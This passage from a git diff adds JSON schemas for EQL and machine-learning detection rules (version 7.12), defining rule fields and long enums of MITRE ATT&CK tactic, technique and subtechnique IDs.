"T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + } + }, + "required": [ + "rule_id", + "description", + "name", + "risk_score", + "severity", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.12/7.12.eql.json b/etc/api_schemas/7.12/7.12.eql.json new file mode 100644 index 000000000..ef4282932 --- /dev/null +++ b/etc/api_schemas/7.12/7.12.eql.json @@ -0,0 +1,953 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "eql", + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.12/7.12.machine_learning.json b/etc/api_schemas/7.12/7.12.machine_learning.json new file mode 100644 index 000000000..e9ef79ca7 --- /dev/null +++ b/etc/api_schemas/7.12/7.12.machine_learning.json @@ -0,0 +1,945 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "anomaly_threshold": { + "minimum": 0, + "type": "integer" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "machine_learning_job_id": { + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "machine_learning", + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "anomaly_threshold", + "machine_learning_job_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.12/7.12.query.json b/etc/api_schemas/7.12/7.12.query.json new file mode 100644 index 000000000..0d1fc7179 --- /dev/null +++ 